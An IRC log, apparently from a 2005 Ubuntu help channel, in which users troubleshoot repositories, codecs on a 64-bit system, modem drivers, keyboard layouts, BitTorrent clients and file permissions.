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apokryphoslancer285: there's ubuntu repositories for both, should you want them06:23
thoreauputicubuntuguy: or just type  sudo apt-get install openssh-server06:23
lancer285apok, yeah I was about to ask for that.06:23
__filip_what is the big diffrent between debbian and ubuntu? i am running ubuntu now and wonder to change to debian bacause that is the orginall? so what is better in ubuntu?06:23
apokryphosubotu: tell lancer285 about hoary-extras06:23
apokryphosubotu: tell lancer285 about ktorrent06:24
funkyHatwhat do i need to install go get amarok to support wma?06:24
apokryphoslancer285: azureus is in hoary-extras06:24
lancer285sweet, thanks Apok (:06:24
ubuntuguythoreauputic: thanks synaptic is working06:25
ErillinenDoes anyone know how to solve WLAN problems with ubuntu? Or where to start?06:25
Arsonideok I used the one from the pastebin, I forgot the command to update/install stuff06:25
Arsonidesudo apt-install (something here)06:25
apokryphosArsonide: to refresh apt with the new sources: sudo apt-get update06:25
thoreauputicubuntuguy: you should find sshd will be running after installation - pgrep sshd should show a number06:25
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apokryphosto install an application sudo apt-get install {somepackage}06:26
kemik__filip_:  better community06:26
h0sl3rWhen I install Ubuntu on a computer using an AMD Athalon 2600 processor, are there any special amd packages I should install on it?06:26
apokryphosor just use Synaptic, Arsonide, to do both of thsoe.06:26
__filip_kemik: is that all ?06:26
apokryphosh0sl3r: AMD-specific kernel06:26
kemikh0sl3r:  no, not really06:26
apokryphosh0sl3r: the k7 one06:26
Arsonideok now what's the command to get w32codecs using apt?06:26
ubuntuguythoreauputic: yes it is, thank you06:26
h0sl3rok06:26
Arsonide(it finished)06:26
jatoshi06:26
apokryphosArsonide: if you've enabled hoary-extras, then you can get it from Synaptic.06:26
thoreauputicubuntuguy: no problem - enjoy :)06:26
kemik__filip_:  no,  but that's an important factor06:27
ArsonideI see, so apt controls synaptic availability? Cause it wasn't in there earlier.06:27
apokryphosArsonide: kind of. Synaptic is just a GUI front-end to APT.06:27
h0sl3rWhats better for mpd server FreeBSD or Ubuntu?06:28
thoreauputicArsonide: synaptic is just a pretty front-end for apt :)06:28
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ArsonideWhen I started synaptic it's asking me to reload my package info.06:28
apokryphosArsonide: you can refresh the sources etc from Synaptic, too.06:28
apokryphossure06:28
ArsonideDo it?06:28
thoreauputicArsonide: yes06:28
apokryphosthoreauputic: pretty? ;-)06:28
lancer285Apokryphos: I got it! thank you very much.06:28
apokryphoscool =)06:28
ArsonideAlright, thanks for the answers - I know I have a lot of questions :P06:28
thoreauputicapokryphos: well, I was tongue-in-cheek ;)06:28
kevkoi tried to install one driver but ubuntu said: unknown distribution. no boot scripts installed06:28
kevkohow can I fix that ???06:29
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paganiniHiya06:29
apokryphosArsonide: no worries; we're here to help :)06:29
paganiniI have a question about modems.06:29
ArsonideI search synaptic for "w32" now and the only thing that comes up is mingw32 and it's stuff.06:29
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ArsonideNo w32codecs06:29
NoUsekevko where did you get that driver?06:29
__filip_kemik: more then? when i ask in #debian thay sad you only take debian and put in GNOME and some more thinks, so like i see it there is no big diffrent, right?06:29
apokryphoslancer285: as a note, you can use <tab> for autocompletion of nicks in IRC>06:29
thoreauputicArsonide: you need hoary-extras06:30
paganiniI have a SmartLink software modem. It's supposed to be supported, but the driver installation process isn't doing what it's supposed to.06:30
paganiniI've tried two ways:06:30
chrismycould anyone tell me how could i check what is my graphics card driver's version?06:30
ArsonideI search for hoary and nothing comes up either.06:30
apokryphosArsonide: you need to add the hoary-extras *repository*06:30
paganini1 - I downloaded the smartlink driver packages using Synaptic.06:30
apokryphosArsonide: either put it into sources.list or enter it in Synaptic06:30
lancer285apok, when I hit tab, it selects the items under the chat bar06:30
paganini2 - I downloaded the driver sources from SmartLink and compiled them by hand.06:30
thoreauputicapokryphos: beat me to it :)06:30
ArsonideOh, I thought I did that...OH I see it's commented out.06:30
grivell__filip_: Ubuntu has a more formal "TODO" list than Debian.  And better community ;)06:30
apokryphosubotu: tell Arsonide about hoary-extras06:30
kemik__filip_:  on the outside there' not much else... but you'll have to ask someone else about the more technical changes06:30
paganiniIn both cases, the problem is that the /dev/ttySL0 device isn't created.06:30
kemik__filip_:  i dont really see a point in "going back" to debian tho if you got ubuntu installed now06:31
paganinithe symlink /dev/modem that points to /dev/ttySL0 is created. But ttySL0 itself is not there.06:31
apokryphoslancer285: for example, type apok-<tab>06:31
kevkoNoUse: http://www.ubuntulinux.org/wiki/IntelFiveThreeSixEPModemHowto/06:31
paganiniHas anyone run into this before? If so, were you able to fix it?06:31
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lancer285apok: yeah, it moves my cursor out. I'm using X-chat. Maybe theres an option for it06:32
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h0sl3rWhats better for mpd server FreeBSD or Ubuntu?06:32
grivell__filip_: Put it this way.  I am use to Debian and have zero problems with it.  So I am not changing what works.  But if I did, Ubuntu would be what I changed to.  (I followed you here from #debian just to see what you would say here).06:32
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ArsonideAlright, I uncommented hoary-extras, updated manually, reloaded in synaptic, and still no w32codecs.06:32
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__filip_grivell: okej i think i will put Debian in my laptop.06:33
lancer285apokryphos, no big deal. I'll play around with it. thanks06:33
EasterSunshinei have a problem with dvorak keyboard layout, it works in console and gnome, but not in the welcome screen06:33
lancer285Easter06:33
thoreauputicArsonide: possibly the backports URL has problems06:33
grivell__filip_: I think you missed the point.  You already have Ubuntu installed ;)06:33
EasterSunshineso i think i didn't apply it to X, only to gnome...06:34
lancer285Easter in your xorg.conf file change the keyboard layout to dvorak instead of US06:34
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Arsonidethoreauputic: Something I can't fix?06:34
EasterSunshinelancer285, let me try that06:34
lancer285kent, lemme know. I had the same prob06:34
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thoreauputicArsonide: are you using this? deb http://ubuntu-backports.mirrormax.net/ hoary-extras main universe multiverse restricted06:34
Arsonidelet me check, sec06:35
__filip_grivell: yes but i will but Debian on my laptop and see if there is some big diffrent.06:35
thoreauputicArsonide: I think the mirrormax url is having issues06:35
funkyHatis it possible to make amaroK play wma?06:35
Arsonideyes it's mirrormax.net06:35
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Arsonideubuntu-backports.mirrormax.net06:35
grivell__filip_:  Ok.06:35
kentlancer285, talking to me?06:35
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ArsonideIs there a mirror?06:35
grivellfunkyHat: Which engine?  Xine, Arts, Gstreamer?06:35
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lancer285kent, no, for some reason I typed 'kent' instead of 'okay'06:36
thrush__filip_, why not create two partitions install both that way you always have a spare partition to play with new OSs06:36
thoreauputicArsonide: http://backports.ubuntuforums.org/url.php06:36
kentlancer285, it can happen easely :)06:36
lancer285kent (:06:36
funkyHatgrivell, ? i have kde sound system set up to use alsa06:36
thoreauputicArsonide: mirrors there (listed)06:36
EasterSunshinelancer285, Option"XkbLayout" "dvorak" <-- is that sufficient? i don't need like dvorakus or something?06:36
kevkoNoUse: i got that driver from: http://www.ubuntulinux.org/wiki/IntelFiveThreeSixEPModemHowto/06:37
grivellfunkyHat: I mean, Amarok can use arts, gstreamer, or xine.  I think default on Ubuntu is arts.  Which I don't think has wma?  Not sure.06:37
thoreauputicArsonide: try one of the "other" mirrors06:37
oceandeadwhats up with mirrormax ?06:37
ArsonideI am going to try planetmirror06:37
lancer285easter lemme check mine and I'll let you know06:37
kevkoNoUse: i got that driver from: http://www.ubuntulinux.org/wiki/IntelFiveThreeSixEPModemHowto/06:37
Arsonidethat's in australia right?06:37
funkyHatgrivell, arts doesn't work here at all...06:37
grivellfunkyHat: But if you switch to xine or gstreamer backend of Amarok, it might have it.06:37
__filip_thrush: i dont have that much place on my harddrive, i have an partition on 2,5 GB there i have install Puppy.06:37
Quincy_freal_is_how do I add my user to the "Sudoers" list?06:37
funkyHatthe options for engine are           (blank) and <no engine>06:38
lancer285Easter: Option"XkbLayout""dvorak"06:38
funkyHat:S06:38
oceandeadentered in middle of that - curious since thats the one i use for backports as well06:38
Arsonideawesome that did it06:38
tommi^Hi. My cable modem connection breaks every now and then, maybe after few hours. I've set the echo-requests to a bit higher count so according to /var/log/messages the reason for connection termination is "No response to 20 echo-requests". What can I do to fix this?06:38
__filip_nextly never run it.06:38
grivellfunkyHat: I disable arts upon install of kde.  I hate it.  Nothing but a resource hog.  I love xine backend for amarok.  And alsa+dmix.06:38
kevkoi tried to install one driver but ubuntu said: unknown distribution. no boot scripts installed06:38
kevko<kevko> how can I fix that ???06:38
kevkoi tried to install one driver but ubuntu said: unknown distribution. no boot scripts installed06:38
kevko<kevko> how can I fix that ???06:38
EasterSunshinelancer285, thx, i'll cross my fingers next time i start X06:38
lancer285Easter when you restart X, it'll ask you if you want to use the layout specified by X or the one by Gnome06:38
Quincy_freal_is_anyone...how do I edit the Sudoers list?06:38
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kevko i tried to install one driver but ubuntu said: unknown distribution. no boot scripts installed06:38
lancer285Easter: make sure you select the one specified by X06:38
kevkohow can I fix that ???06:38
EasterSunshinelancer285, took me forever to get my password correct ^_^06:38
funkyHati have alsa 1.0.9b (automatic dmix config:)) but i don't seem to have any options for amaroK backend...06:39
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ArsonideStill not there after I updated with Planetmirror.06:39
lancer285eastr, I know what you mean (: the gnome dvorak layout is missing some keys. I couldn't find the |06:39
ArsonideIt did download something.06:39
kevkoCAN SOMEBODU HELP ME ?????????????!??06:39
oceandeadArsonide: try doing a sudo apt-get update first?06:39
Arsonideyeah I did that06:39
oceandeaddoh!06:39
EasterSunshinelancer285, you have a | in your password?!06:40
ArsonideI'll keep trying mirrors.06:40
funkyHat* grivell, ^06:40
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__filip_yarrgh now i get that PM again about free webcam sex!06:40
lancer285Easter No, but when I would try to do |more or something, the key didn't exist. Gnome uses a funky dvorak layout06:40
tommi^kevko, provide more details06:40
grivellfunkyHat: 1 sec.  I have ubuntu on a usb hd.  chrooting06:40
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paganiniArsonide, you have http://ubuntu-backports.mirrormax.net/ listed in your repositories in Synaptic?06:40
paganiniBecause w32codecs shows up there for me.06:41
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ArsonideNo, I am trying other mirrors now.06:41
oceandeadsame here06:41
kevkoi tried to install one driver but ubuntu said: unknown distribution. no boot scripts installed06:41
tommi^kevko, no one likes if you shout out and repeat the same text over and over. What driver?06:41
ArsonideWhat does Get, Ign, Get, Ign, Get, Ign mean, down the left side?06:41
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oceandeadArsonide:  are you looking in the "All" section?06:41
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paganiniYou should have main universe multiverse restricted listed in your "selections"06:41
ArsonideYeah I do a search06:42
grivellfunkyHat: amarok-xine is in univeral06:42
kevkotommi: driver for Intel536EP06:42
grivellfunkyHat: universe even :)06:42
tommi^kevko, everybody got the point when you first wrote that but you really need to tell us more so we can help06:42
kevko http://www.ubuntulinux.org/wiki/IntelFiveThreeSixEPModemHowto/06:42
ArsonideI think it has something to do with the errors going down the left side.06:43
ArsonideGet Ign, Get Ign, Get Ign.06:43
ArsonideHit Hit Hit on the ones that do work.06:43
tommi^kevko, okay. At what point you get that error?06:43
funkyHatthanks grivell :)06:43
kevkotommi: make install06:43
funkyHatwill it now add wma files to it's library?06:43
thoreauputicArsonide: it seems the backports are being "ignored" ( tried it here)06:43
lancer285apokryphos, how do I specify the port range for azureus??06:43
CarlFKthoreauputic... duh. what were the groups I shoudl add the user to for dialup (what you said has scrolled off my buffer06:43
thoreauputicCarlFK: dip  and  dialout06:44
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CarlFKthanks06:44
ArsonideSo it's not a problem on my end?06:44
thoreauputicArsonide: no06:44
grivellfunkyHat: So you found it?  You have to select it in Amarok's config as well.  And a "Kaffeine-Xine" backend exists as well.06:44
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paganiniw32codecs is definitely there.06:44
ArsonideAny way around it?06:44
paganiniapt-get can read it from my machine.06:44
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thoreauputicArsonide: the server is misconfigured, or they are changing something - I don't know06:45
oceandeadi can see w32codecs as well06:45
ArsonideKaffeine Xine?06:45
tommi^kevko, good, you are making progress in telling us details. A quick look up at that document doesn't show make install command. Are you sure you are following exactly documentation?06:45
paganiniFrom my terminal:06:45
tommi^kevko, and you running the command as a root or with sudo command?06:45
paganinipaganini@CRTBOX:~$ sudo apt-get install w32codecs06:45
paganiniReading package lists... Done06:45
paganiniBuilding dependency tree... Done06:45
paganiniw32codecs is already the newest version.06:45
paganini0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.06:45
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NoUse!pastebin06:46
ubotufrom memory, pastebin is a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl06:46
lancer285can anyone help me get Azureus working properly??06:46
thoreauputicpaganini: are you using hoary-extras? do you get an "ign" on apt-get update?06:46
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oceandeadi get the ign thing too though06:46
thoreauputicright06:46
kevkotommi: yes, I am06:46
thoreauputicoceandead: OK you confirmed it06:46
!lilo:*! Restarting the testnet....06:47
paganiniThoreauputic: Yeah, I do.06:47
paganiniBut, my package lists are up to date from the other day.06:47
tommi^kevko, is that yes, i am  following the documentation or yes, I'm running it as root or sudo?06:47
thoreauputicso backports is b0rked atm it seems06:47
paganiniIt doesn't seem like the actual servers are messed up, just the database listing.06:47
djm62how is breezy atm? "interesting"?06:47
ArsonideSo what mirror are you guys suggesting for hoary extras?06:47
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grivellfunkyHat: Switch engines in Amarok and see if it adds wma to list.  Arts can't play wma.  I think Xine can, but if it doesn't, Gstreamer.06:47
paganiniIf you already have mirrormax in your repositories list, w32codecs should still install, I think.06:48
thoreauputicArsonide: I tried two - both return "ign"06:48
apokryphoslancer285: in Tools -> Configuration?06:48
ArsonideYeah I tried 3.06:48
EasterSunshinei need help formatting a ext3fs into a clean empty ext3fs, `cfdisk` returns: FATAL ERROR: Cannot open disk drive06:48
oceandeadunmount it first?06:48
apokryphosArsonide: the mirrormax one generally always works06:48
EasterSunshineoceandead, it is not mounted06:48
ArsonideSo...wait it out?06:48
thoreauputicapokryphos: it's returning an "ign" on update06:49
apokryphosthoreauputic: ign?06:49
kevkotommi: i'm running it like root. i follow the documentation06:49
CarlFKthoreauputic... user was allready in dip and dialup (default for breezy) which btw is what the "user can connect to the Net via modem" and "user can use modem" check boxes are for in Admin, Users, User Privs06:49
apokryphoslancer285: tools -> Option, that's it06:49
EasterSunshineoceandead, and i didn't even specify that disk for cfdisk06:49
paganiniArsonide, have you tried just downloading the package by itself?06:50
paganiniLike, from an RPM server or something?06:50
lancer285apok okay. it seems that it lets me TEST the ports. is that telling it which one I wanna use??06:50
paganiniI.e., from another distro?06:50
Arsonidepaganini: I don't know how.06:50
apokryphosArsonide: what is it you're trying to get?06:50
clonedcan anyone point me to a step by step guide on how to get and amd x2 chip working 100% under hoary 5.04 none of the posts on the forum are any help for this n00b06:50
funkyHatgrivell, it hasn't added them to my library, i'll try gstreamer06:50
Arsonidew32codecs06:50
kentHas any one else noticed that rhythmbox crashes on breezy? (I know its expected on a devel-branch..)06:51
CarlFKthoreauputic - so is pup/pdown the next thing I should try?06:51
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oceandeadi switched back from breezy after some testing06:51
thoreauputicCarlFK: umm  -  pon / poff06:51
apokryphosArsonide: did you add    deb http://ubuntu-backports.mirrormax.net/ hoary-extras main universe multiverse restricted06:51
CarlFKthoreauputic - that explains why I couldn't find pup06:51
thoreauputicheheh06:51
CarlFKno pong either...06:51
funkyHati played about with gtk-qt and decided i didn't like it so i got rid of it, it broke stuff but i eventually got round most of it, but now some of my fonts are huge. how can i fix it?06:52
funkyHat(it's not in fonts preferences, i've tried that)06:52
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paganiniArsonide, go here06:52
paganinihttp://ubuntu-backports.mirrormax.net/dists/hoary-extras/restricted/binary-i386/06:52
apokryphosfunkyHat: in KDE?06:52
paganiniYou can download it by hand.06:52
funkyHatapokryphos, no, i use gnome06:52
Arsonideapokryphos: That mirror is broken it seems.06:52
paganinithen you can do sudo apt-get install ~/w32codecs I think06:52
thoreauputicCarlFK: if you specified a provider, it's  pon <providername> without the  <>06:52
tommi^kevko, I'm not sure what could be causing that. Have tried doing it again from clean directory? Also, you really need to learn to help yourself. 1) Provide more information 2) Be accurate 3) Don't repeat yourself 4) DONT SHOUT - you'll get kicked and nobody wants to help ya.06:52
apokryphosfunkyHat: the gtk-qt package doesn't touch what gtk apps look like in gnome06:52
EasterSunshinecan i just rm -rf the root of an ext3 drive and expect it to be as if it was formatted?06:52
lancer285apok Azureus keeps saying I have updates to install, but it won't install them06:52
apokryphosArsonide: works fine, it seems.06:52
apokryphoslancer285: ok, ignore the updates for now then06:53
paganiniYou might need to use dpkg. I'm not sure about installing from local packages.06:53
lancer285apok okay06:53
ArsonideI dunno that's what thoreauputic told me.06:53
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funkyHatwell either way... my fonts are big and i want them smaller :(06:53
apokryphoslancer285: also, <tab> shouldn't do anything with your mouse in IRC... it's used to autocomplete nicks06:53
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apokryphosI'm sure xchat does it by default06:53
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lancer285apok test06:53
apokryphosapok<tab> ....then type06:53
Angel-SLapokryphos:06:54
lancer285apok I do get an error when I open Xchat saying 'unable to load the key bindings'06:54
apokryphosta-da!06:54
apokryphosNot sure if that could affect it; don't use xchat, but I know that should work by default06:54
thoreauputicArsonide: for w32codecs, paganini 's suggestion should work - download it manually, then use  sudo dpkg -i w32codecs06:54
Angel-SLapok<TAB>06:54
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ArsonideAlright, thanks.06:55
ArsonideStill not sure what exactly is wrong with the mirrors. apokryphos says they work06:55
apokryphosArsonide: what error do you get?06:55
ArsonideNo errors, it just ignores the files and moves on.06:55
lancer285apok I dunno, I'm trying to do it just like I would in a terminal, but it keeps selecting the side bar06:56
thoreauputicapokryphos: I think the packages file is broken06:56
apokryphosArsonide: ignores... saying what?06:56
apokryphosthoreauputic: it would surely say so, then.06:56
paganiniHey, does Ubuntu have built-in LT Winmodem support?06:56
oceandeadha06:56
Arsonidedpkg: error processing w32codecs_20050216-0.0_i386.deb (--install):06:57
Arsonide package architecture (i386) does not match system (amd64)06:57
CarlFKwow - "modem monitor" uses about 20% of my P2-333's cpu.  Is there a way I can get stats on something like that over some amount of time? (like a min or 2)06:57
ArsonideForgot my system was 64 bit :/06:57
Arsonidelol06:57
apokryphosArsonide: that is an error :)06:57
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CarlFKpaganini - sortof06:57
thoreauputicapokryphos: when you do "apt-get update" it returns "Ign: <url here> "06:57
apokryphosthat pacakge isn't available for amd64, but......06:57
apokryphos!w32codecs06:57
EasterSunshineCarlFK, do `top` in a terminal06:57
CarlFKpaganini - it is in either restricted or universe06:57
apokryphosgah06:57
apokryphosArsonide: See: http://ubuntuforums.org/showthread.php?t=5439906:57
thoreauputicArsonide: oh dear06:57
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paganinioceandead: I used to do that. Until I spent $80 on a "real" USR modem that refuses to connect above 31.2, when my winmodem negotiats 56k connections every time.06:58
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paganiniCarl: How bad is "sort of?"06:58
CarlFKEasterSunshine - thats where I saw "20% perl" but it was jumping around from 15 to 35 - so I was wondering what it was06:58
oceandeadyeah luckily i have an external serial usr06:58
Arsonidethoreauputic: was that my problem?06:58
thoreauputicArsonide: the "32" in w32codecs is a bit of a giveaway, isn't it06:58
CarlFKpaganini - "sort of" = you need to do stuff06:58
paganiniSort of, as in, it says it works, but when you actually try to install it it doesn't install the device? (That's what it's doing with my smartlink modem ATM)06:58
oceandeaditd still be nice to get the built in modem working but06:59
ArsonideWell I assumed it worked kind of like Windows does.06:59
oceandeadi think the farthest ive gotten was i got it to dial out n such - but wouldnt connect06:59
ArsonideIt's 32 bit06:59
paganiniSomeone needs to invent a LINMODEM06:59
paganiniYou know, costs around $5, connects at 56k as soon as you plug it in.06:59
apokryphosArsonide: check the link I gave you; it provides a workaround06:59
ArsonideI know, looking at it now - will I have this problem a lot?07:00
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apokryphoswhat problem exactly?07:00
EasterSunshine$ fdisk /dev/hda gives me Unable to open /dev/hda07:00
apokryphospackages only for i386?07:00
ArsonideYeah07:00
apokryphosMain problem is flash and w32codecs, really...07:00
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sorush20guys I keep getting this error can someone help me fix it..sam@ubuntu:~$ dmesg | tail APIC error on CPU0: 40(40)07:00
apokryphosnot enough to put me off in the slightest, at least. :)07:00
ArsonideThe next 6 month update carry any hope?07:01
oceandeadhda# ?07:01
black_13how do add the union fs kernel module to a 2.6 kernel07:01
apokryphosArsonide: for flash: no; for w32codecs -> who knows.07:01
thoreauputicpaganini: it's called Second Hand Serial Modem on ebay ;-)07:01
EasterSunshineoceandead, still same errer07:01
oceandeadeh - try qparted07:01
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apokryphosoceandead: gparted07:02
lancer285apokryphos, it was the key bindings (:07:02
apokryphos(well, or qtparted)07:02
lancer285apokryphos,  apokryphos07:02
paganiniHehe toreauptic!07:02
lancer285woot07:02
oceandeadmeant qt, sorry07:02
apokryphoslancer285: excellent :)07:02
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apokryphoslancer285: what did you alter?07:02
lancer285apokryphos, all my permissions in my .xchat2 dir were set to 501 (from mandrake)07:02
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apokryphosah07:03
oceandeadgeez, ya miss one letter ...07:03
lancer285apokryphos, I just had to do a chown on those dirs07:03
oceandead;)07:03
apokryphosoceandead: in the ghetto dat wud get u shot innit07:03
oceandeadhahaha07:03
apokryphoslancer285: you should own everything in your ~07:03
lancer285EasterSunshine, did you get the dvorak layout working?07:03
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EasterSunshinelancer285, haven't restarted yet07:03
lancer285apokryphos, for some reason, I've had to go in and manually change from 501 to lancer285 on most of my dirs as needed07:04
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apokryphoslancer285: did you do a recursive chown?07:04
apokryphoschown -R lancer285:lancer285 ~07:04
Arsonidebash: totem-xine: command not found (after I ran sudo apt-get install xine-ui ; totem-xine)07:04
lancer285apokryphos, when in my /home/lancer285 I did: sudo chown -R lancer285:lancer28507:05
ArsonideI assume that means I'm about to embark upon another 3 hour long quest.07:05
thoreauputicArsonide: just type "totem"07:05
lancer285apokryphos, it did MOST of the files and dirs, but not all for some reason07:05
apokryphosArsonide: totem-xine is something for totem to use xine, IIRC. Not an executable.07:05
ArsonideI'll assume it is working and move on.07:05
thoreauputicArsonide: when totem starts, go to "about" and you'll see it's totem-xine07:05
ohphrackui like gxine07:05
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apokryphoslancer285: with ./*  on the end right?07:05
AristoMagnushttp://www.linux-watch.com/news/NS8124627492.html  Nice one :P07:06
funkyHatthese massive fonts are more than a little bit annoying now07:06
lancer285apokryphos, no, haha, thats prolly the prob (::07:06
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lancer285apokryphos, I just did that, it seemed to work (:07:06
funkyHatthe one i'm typing in in X-Chat is one (the room is big though, and all the text in gnome-panel07:06
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EasterSunshinean empty ext3 is 334 megs?07:07
apokryphoscool07:07
charlesg3I'm having a bit of trouble with the nvidia driver and breezy07:07
thoreauputicArsonide: if that was your actual apt-get command, it's wrong BTW07:07
ginventCan someone help me get my .htaccess working. I saw on google a fix, but it didn't work.07:07
AristoMagnuscharlesg3: recompile the module with the nvidia-source07:07
EasterSunshinei mean like there is nothing on it, but df says 33 megs used and gparted says 334 megs used07:07
thoreauputicArsonide: sudo apt-get install totem-xine && totem07:08
sorush20which linux distro supports sony handycams07:08
charlesg3so I use apt-get install nvidia-source? where does it put it...in /usr/src/linux?07:08
AristoMagnusyep07:08
AristoMagnusnvidia-glx-source i think07:08
AristoMagnussearch with apt-cache search nvidia07:08
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charlesg3nvidia-kernel-source07:09
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lotusleafI'm compiling k3b 0.12.3 on a Ubuntu Hoary box and following ./configure it says 'Resmgr support: no', how do I enable this? I couldn't find resmgr at packages.ubuntu.com, should I install the debian package from here?: http://packages.debian.org/unstable/admin/resmgr07:09
AristoMagnusyep07:09
AristoMagnusthats correct07:09
AristoMagnusnvidia-kernel-source07:09
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apokryphoslotusleaf: why compiling?07:10
thoreauputiclotusleaf: any particular reason yo are compiling it?07:10
thoreauputicapokryphos: heh07:10
lotusleafapokryphos + thoreauputic: because I want the latest version of k3b which isn't backported yet :)07:10
thoreauputicOK07:10
lotusleafdo I need resmgr?07:10
lotusleafor will it compile and work well without it?07:10
apokryphoslotusleaf: did it error out after that/07:10
lotusleafapokryphos, I haven't make && make install yet07:11
Arsonidetar: /usr/lib/win32: Not found in archive07:11
Arsonidetar: Error exit delayed from previous errors07:11
ArsonideI just made the directory, what gives.07:11
apokryphos!find resmgr07:11
ubotuUbuntu Search of 'resmgr' (1 shown): (/usr/share/selinux/policy/default/macros/program/resmgrd_macros.te) in universe/admin/selinux-policy-default.07:11
apokryphoshm, seems to only be in breezy07:11
geneo93anyone know if breezy is going to move to 2.6.13 kernel07:11
apokryphoslotusleaf: well, did the configure fail?07:11
apokryphosgeneo93: probably not, it only just came out ;-)07:11
lotusleafapokryphos, no :) I was just curious if I needed that, since it sounded important07:11
lotusleafapokryphos, could this be backported?07:12
funkyHatgeneo93, probably not, ubuntu releases are nearly all stable software07:12
thoreauputicgeneo93: 2.6.12 afaik07:12
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apokryphoslotusleaf: ./configure should give several things that says :no for, doesn't it?07:12
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apokryphoslotusleaf: unlikely; it will definitely be for breezy though07:12
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lotusleafapokryphos, thanks for checking ; yes it says a few no's but when I googled for resmgr it sounded very important07:12
lotusleafapokryphos, my guess is that I don't need it? :)07:13
apokryphosif the configure didn't fail -- then no.07:13
lotusleafapokryphos, very well, thanks for your help! :)07:13
thoreauputiclotusleaf: if it compiles, great - if it runs, even better ;-)07:13
lotusleafthoreauputic, thanks, and thank you for your help! :)07:13
lancer285apokryphos, my upload speed is about 94K, but my download is only 50K. I've had it as fast as 150K w/ other clients. Any ideas??07:13
thoreauputicnp07:13
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apokryphoslancer285: of course it depends on the torrent, how long you've been connected, active peers etc07:14
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ArsonideExtracting them using the gui says I don't have permission, extracting them with terminal brings up another cryptic error.07:14
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apokryphoslancer285: check that your upload speed isn't choking the download, too07:14
lancer285apokryphos, okay.07:14
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apokryphoslancer285: I've had as fast as 600Kb/s, so it's not a restriction from the client, at least ;-)07:15
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lancer285apokryphos, okay.07:15
geneo93Linux ubuntu 2.6.12-7-686-smp #1 SMP Fri Aug 19 13:27:27 UTC 2005 i686 GNU/Linux  thats what i have now07:15
unvs_is kernelupgrading with ubuntu a pain in the neck or relatively painless?07:16
ezerhodenArsonide, what are you extracting and what command are you using?07:16
ArsonideI'm extracting a tar with the codecs in it to /usr/lib/win32, command I'm using is... sudo tar jxvf essential-20050412.tar.bz2 /usr/lib/win3207:17
paganiniI think you need tar -jxvf07:17
paganini;)07:17
geneo93unvs_:  look in backports07:17
ginventAnyone use apache2?07:18
Stormx2How do I CHMOD all files in a directory to 777?07:18
AristoMagnus2.6.12 is now stable?07:18
ginventI need help setting up my .htaccess07:18
Arsonidetar: /usr/lib/win32: Not found in archive07:18
charlesg3chmod -R 777 ./*07:18
ArsonideAfter adding the - paganini07:18
Stormx2cheers07:18
AristoMagnusdont do that !07:18
paganiniHmm.07:18
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thrushStormx2, that would be bad07:19
geneo932.6.13 is stable07:19
darkheartpaganini You don't need - for tar switches07:19
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paganiniDarkheart, really?07:19
slibshi07:19
paganiniThat is cool.07:19
charlesg3yeah it works iwth the - anyway07:19
ezerhodendoes that directory already exist?07:19
darkheartpaganini Yeah, tar xvjf is same as tar -xvjf07:19
ezerhodenArsonide, does that directory already exist?07:19
paganiniNifty07:19
vicesi'm trying to change my resolution but all it shows is 640x480, does anyone have any suggestions on how to fix this?07:19
darkheartpaganini Kinda like ps =)07:19
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Arsonideyeah I used mkdir07:19
ArsonideI went in with the file browser and opened it to make sure.07:20
paganiniBTW, I'm not that familiar with the decompression tools, but don't you need to use gzip on a bz2 file bfore you can untar it?07:20
darkheartArsonide What error are you getting? Why don't you cd to the dir you want to extract into, then just run tar xjvf /path/to/essential*.bz207:20
slibsi started hl2, and right when it was starded my friend send me a flash file he made, so hl2 minimized somewhere, now i can hear the game sounds, but i have no clue how to get it back, do i have to restart the hole steam, or can i go back with some handy shortcut or something?07:20
charlesg3 the j switch does the bz2 part of it07:20
paganiniCool.07:20
Stormx2OK, How do I CHMOD All files in a directory and subdirectories?07:20
slibswhole*07:20
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Stormx2(to 777)07:20
ezerhodenman tar07:20
ArsonideI'll try that darkheart07:21
Arsonidesec07:21
darkheartStormx2 chmod -R 777 *07:21
charlesg3Stormx2, like i said earlier chmod -R 777 ./*07:21
Stormx2I did that07:21
darkheartStormx2 Be careful with that though..You can break things like that.07:21
Stormx2but it didn't work on the files in the subdirectories.07:21
AristoMagnus-R is for recursive07:21
Stormx2....07:21
ArsonideThat did it darkheart.07:21
AristoMagnusit should goes to the subdir07:21
Stormx2gah07:21
charlesg3Stormx2, it should have worked, unless you don't have permissions07:21
paganiniStormx2, did you do sudo?07:21
Stormx2I'll try it again.07:21
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Stormx2paganini: No ^_^07:21
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paganinisudo chmod -R 777 ./* will do it to all files.07:22
paganiniBut... be carefull.07:22
viceswhat's a good default text editor on ubuntu?07:22
darkheartvices GUI or CLI?07:22
vicesCLI07:22
charlesg3nano07:22
paganininano is cool.07:22
charlesg3emacs, vi07:22
darkheartvices I use vi, but there is nano, pico, and other.07:22
Arsonideis there any way to move the files up to the parent directory in terminal? The file browser says I don't have permission (why is it even there if you can't use it for anything lol)07:22
paganinivim is powfull, but harder to get the hang of.07:22
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slibsanyone? how to get minimized game back?07:22
vicesthanks, i'll check out vi, for some reason emacs didn't work07:22
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ezerhodenArsonide, mv is the move command07:23
darkheartvices emacs is a little too much imo...it's more than just a text editor...it's almost an OS =P07:23
AristoMagnuslol07:23
AristoMagnustrue07:23
paganiniYeah, hehe!07:23
ArsonideI did sudo mv *.* ..07:23
Arsonideseems to work.07:23
AristoMagnuswant a easy editor, use nano07:24
AristoMagnusit work great07:24
darkheartArsonide *.* will only move files with extensions..not folders or files with no extension.07:24
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Arsonideyeah it didn't move the readme07:24
slibscan you guys see my text or what, why im being ignored?07:24
ArsonideHow do I delete this directory now?07:24
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AristoMagnusrm -rf07:24
darkheartArsonide If you want to move everything then 'sudo mv * ../'07:24
ezerhodenrmdir if its empty07:24
AristoMagnusrm -rf  theDir07:24
ArsonideThere.07:25
ArsonideNext step.07:25
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AristoMagnus;)07:25
vicesit says my xorg.conf is readonly, is there a -cmd to change that?07:26
wojciechgHi everyone. I just installed ubuntu on my laptop, but have no "laptop" options. Is there a package I need to install to get info on my battery, etc?07:26
AristoMagnususe sudo to edit it07:26
paganinivices, you don't want to change that.07:26
AristoMagnusvices: use sudo to edit it07:26
paganiniYou want to do sudo gedit /etc/xorg.conf07:26
AristoMagnusits /etc/X11/xorg.conf07:27
paganiniUh, right.07:27
vicesthanks07:27
paganini*headdesk*07:27
ArsonideThere is no .xine configuration folder.07:27
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ArsonideAh there, I opened xine and it saved one07:28
paganiniIs there any reason to use XINE instead of TOTEM?07:28
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AristoMagnususe gxine07:28
